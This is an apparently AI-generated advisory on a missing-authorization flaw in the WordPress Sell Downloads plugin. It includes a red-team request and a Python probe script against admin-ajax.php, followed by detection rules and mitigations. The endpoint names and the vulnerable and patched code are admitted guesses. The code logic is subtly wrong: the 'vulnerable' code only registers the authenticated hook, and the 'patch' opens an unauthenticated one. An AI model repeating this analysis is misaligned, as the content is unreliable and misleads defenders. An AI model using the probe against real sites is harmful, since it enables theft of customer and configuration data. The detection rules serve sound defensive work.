CVE-2025-68850

Executive Summary

CVE-2025-68850 is a Missing Authorization vulnerability in the WordPress plugin Sell Downloads by Codepeople, affecting versions up to and including 1.1.12. This flaw allows an unauthenticated attacker to exploit incorrectly configured access control security levels, potentially leading to unauthorized access to sensitive download data or administrative functions. The vulnerability has a CVSS score of 7.5 (High), indicating significant confidentiality impact. No public proof-of-concept (PoC) or patch is currently available, but the risk is elevated due to the plugin's widespread use in e-commerce and digital delivery contexts.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin ecosystem, not in a language-specific package manager (NPM, PyPI, etc.). However, the plugin is distributed via the official WordPress plugin repository and can be installed automatically. Organizations using this plugin should treat it as a supply chain risk, as compromised plugins can lead to site-wide data breaches.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Exploit does not affect other components.
• Confidentiality (C): High (H) – Full disclosure of sensitive data.
• Integrity (I): None (N) – No data modification.
• Availability (A): None (N) – No denial of service.

Threat Level: High. The combination of network exploitability, no privileges required, and high confidentiality impact makes this a critical risk for any site using the vulnerable plugin.

Deep Dive & Mechanics

The vulnerability stems from missing authorization checks in the sell-downloads plugin's REST API endpoints or AJAX handlers. Specifically, the plugin fails to verify user capabilities (e.g., manage_options or edit_posts) before allowing access to functions that retrieve download metadata, user purchase history, or administrative settings. An attacker can craft HTTP requests to these endpoints without authentication, bypassing the intended access control.

Root Cause: The plugin uses wp_ajax_* hooks without corresponding wp_ajax_nopriv_* checks, or it relies on client-side role checks that can be bypassed. The current_user_can() function is not called on sensitive actions.

Attack Vector: An unauthenticated attacker sends a crafted POST/GET request to a vulnerable endpoint (e.g., /wp-admin/admin-ajax.php?action=sell_downloads_get_data). The server processes the request and returns sensitive data.

Impact: Attackers can enumerate all downloadable products, access customer purchase records, or extract configuration details (e.g., payment gateway keys). This can lead to data breaches, financial fraud, and reputational damage.

Vulnerable vs. Patched Code

Since no patch is available, we can only infer the vulnerable pattern. The following is a hypothetical example of the vulnerable code and its secure counterpart.

Vulnerable Code (v1.1.12):

add_action('wp_ajax_sell_downloads_get_data', 'sell_downloads_get_data_callback');
function sell_downloads_get_data_callback() {
    // No capability check
    $data = get_option('sell_downloads_products');
    wp_send_json_success($data);
}

Patched Code (Hypothetical):

add_action('wp_ajax_sell_downloads_get_data', 'sell_downloads_get_data_callback');
add_action('wp_ajax_nopriv_sell_downloads_get_data', 'sell_downloads_get_data_callback');
function sell_downloads_get_data_callback() {
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized', 403);
    }
    $data = get_option('sell_downloads_products');
    wp_send_json_success($data);
}

The patch adds a capability check (current_user_can('manage_options')) and ensures the action is registered for both authenticated and unauthenticated users, but only authorized users can proceed.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Install WordPress 6.x on a local server (e.g., XAMPP or Docker).
2. Install Sell Downloads plugin version 1.1.12.
3. Create a few test products and purchase records.

Exploitation Steps:

1. Identify vulnerable endpoints by analyzing the plugin's source code or using a tool like Burp Suite.
2. Send an unauthenticated request to the endpoint:

   POST /wp-admin/admin-ajax.php HTTP/1.1
   Host: target-site.com
   Content-Type: application/x-www-form-urlencoded
   
   action=sell_downloads_get_data
   

3. If the endpoint returns product data or customer info, the vulnerability is confirmed.
4. For more advanced exploitation, enumerate other actions (e.g., sell_downloads_get_orders, sell_downloads_get_config).

Automation Script (Python):

import requests

target = "http://target-site.com"
endpoint = f"{target}/wp-admin/admin-ajax.php"
data = {"action": "sell_downloads_get_data"}
response = requests.post(endpoint, data=data)
if response.status_code == 200 and "success" in response.text:
    print("Vulnerable! Data:", response.text)
else:
    print("Not vulnerable or patched.")

Blue Team (Defensive)

Detection:

• Monitor for unusual POST requests to /wp-admin/admin-ajax.php with action parameters containing sell_downloads_*.
• Look for requests from IPs that are not associated with authenticated users.
• Check server logs for 403 errors on admin-ajax.php (if patched) or successful responses without authentication.

Hunting:

• Search for sell_downloads_ in web server access logs.
• Use the Sigma rule below to detect exploitation attempts.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /wp-admin/admin-ajax.php with action=sell_downloads_get_data (or similar) from unauthenticated sources.
  • Response bodies containing JSON with product or order data.
• File System:
  • Plugin file: /wp-content/plugins/sell-downloads/ (version 1.1.12 or lower).
• Logs:
  • Web server logs showing POST /wp-admin/admin-ajax.php with HTTP 200 responses for unauthenticated users.

Detection Engineering

YARA Rule

rule CVE_2025_68850_Sell_Downloads_Exploit {
    meta:
        description = "Detects exploitation attempts of CVE-2025-68850 in Sell Downloads plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-68850"
    strings:
        $action = "sell_downloads_get_data" nocase
        $ajax = "admin-ajax.php" nocase
    condition:
        $action and $ajax
}

Sigma Rule

title: CVE-2025-68850 Sell Downloads Missing Authorization Exploit
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects unauthenticated POST requests to admin-ajax.php with sell_downloads actions
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains: "admin-ajax.php"
        cs-uri-query|contains: "action=sell_downloads_"
    condition: selection
falsepositives:
    - Legitimate admin actions (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-68850 Sell Downloads Missing Authorization Exploit"; flow:to_server; content:"POST"; http_method; content:"admin-ajax.php"; http_uri; content:"action=sell_downloads_"; http_client_body; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. If disabling is not possible, restrict access to /wp-admin/admin-ajax.php via .htaccess or web application firewall (WAF) rules:

   <Files "admin-ajax.php">
       Require all denied
   </Files>
   

   (Note: This may break legitimate AJAX functionality; use with caution.)
3. Monitor logs for exploitation attempts using the provided detection rules.

Long-Term Fix:

• Contact the vendor (Codepeople) for a patched version.
• Apply the principle of least privilege: ensure all AJAX actions check current_user_can().
• Consider migrating to an alternative, actively maintained plugin.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.